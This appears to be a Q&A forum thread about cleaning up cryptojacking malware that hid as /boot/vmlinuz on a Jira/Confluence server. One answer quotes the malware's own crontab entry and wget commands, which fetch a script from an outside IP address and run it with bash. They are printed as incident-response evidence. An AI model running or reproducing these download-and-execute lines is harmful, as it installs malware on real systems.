vmlinuz process runs on 100% CPU

Question

I'm running a Jira and a Confluence instance (and nginx reverse proxy) on a VPS. Currently, I can't start the confluence for some reason and I think this is a consequence of something else.

I've checked the process list:

The confluence user running the /boot/vmlinuz process and it eats the CPU. If I kill -9 this process it starts again a few seconds later.

After reboot the VPS:

1. Confluence and Jira started automatically.
2. Confluence is running a few seconds correctly then something kills the process. The Jira process is still running.
3. The /boot/vmlinuz process starts.

I've removed the Confluence from the automatic start, but it doesn't matter.

So my questions:

• What is this /boot/vmlinuz process? I never saw this. (Yes I know, the vmlinuz is the kernel)
• Why is starting over and over again and runs on 100% CPU?
• What should I do to get back the normal behavior and may I start the Confluence?

Thanks any for answer

UPDATE

It caused by a hack. If you find a /tmp/seasame file, your server is infected. It uses the cron to download this file. I've removed the files in the /tmp folder, killed all the processes, disabled the cron for the confluence user, and updated the Confluence.

Bounds

Answer 1

Your server looks like hacked. Please take a look on process list closely. e.g. run ps auxc and take a look on process binary sources.

You can use tools like rkhunter to scan your server but in general you should at the beginning kill everything that has been lunched as confluence user, scan your server/account, upgrade your confluence (in most cases user determinate source of attack), and look in your confluence for additional accounts etc.

Is you would like to see what is in that process, take a look on /proc e.g. in ls -la /proc/996. You will see source binary there too. You can also lunch strace -ff -p 996 to see what process is doing or cat /proc/996/exe | strings to see what strings that binary have. This is probably some kind of botnet part, miner etc.

Schenck

Thank You! Yes, it was hacked. I successfully killed all the process belongs to the "virus" and found the script also. Currently I try to prevent to come back (downloads itself with cronjob). There are lot to do. I'll update the question when I get rid of it. – Bounds

Answer 2

I had same problem, it was hacked, the virus script was at /tmp, find the script name from command "top" (insignificance letters，name of "fcbk6hj" was mine. )and kill the processes(maybe 3 processes)

root 3158 1 0 15:18 ? 00:00:01 ./fcbk6hj ./jd8CKgl root 3159 1 0 15:18 ? 00:00:01 ./fcbk6hj ./5CDocHl root 3160 1 0 15:18 ? 00:00:11 ./fcbk6hj ./prot

kill all of them and delete /tmp/prot, and kill the process of /boot/vmlinuz, CPU's back.

I found that virus had dowloaded script to /tmp automatically, my method was mv wgetak to other name.

Virus behavious: wgetak -q http://51.38.133.232:80/86su.jpg -O ./KC5GkAo

found following task was written in crontab, just delete it: */5 * * * * /usr/bin/wgetak -q -O /tmp/seasame http://51.38.133.232:80 && bash /tmp/seasame

Vallo

And it starts over again. You must clean from crontab too otherwise it downloads itself again. – Bounds

thank u very much, I just happened to run into this problem. – Sopping

In my crontab there is no line for seasame but /boot/vmlinuz still starts over again. Why? I've added confluence user to /etc/cron.deny and installed nod32 antivirus on ubuntu. The antivirus is blocking the creation of seasame file. – Peele

Answer 3

After remove this from system and crontab, maybe is good idea (at least for now) to add confluence user to /etc/cron.deny.

And after:

$ crontab -e
You (confluence) are not allowed to use this program (crontab)
See crontab(1) for more information

Hang

Answer 4

I met same question too at the same time,maybe it is a confluence bug. I just kill confluence process,the it got alright.

Merrileemerrili

Thank you for your answer. It maybe a Confluence vulnerability. – Bounds

Answer 5

As you found out, this is malware — actually cryptojacking malware, intended to use your CPU as a cryptocurrency miner.

Your server has very likely been compromised because of a Confluence vulnerability (see first answer of this reddit post), however one should know that this is NOT ITS ONLY WAY OF PROPAGATION — this can't be emphasize enough. As a matter of fact a server of mine has been compromised as well although it doesn't run Confluence (I don't even know this software…), and the so-called /boot/vmlinuz process was ran by root.

Also, beware that this malware tries to propagate through SSH using known_hosts and SSH keys, so you should check other computers you accessed from this server.

Finally, the reddit post links to this comprehensive description of this malware, which is worth a read.

NB : Don't forget to send a report to the IP's ISP abuse email address.

Fontainebleau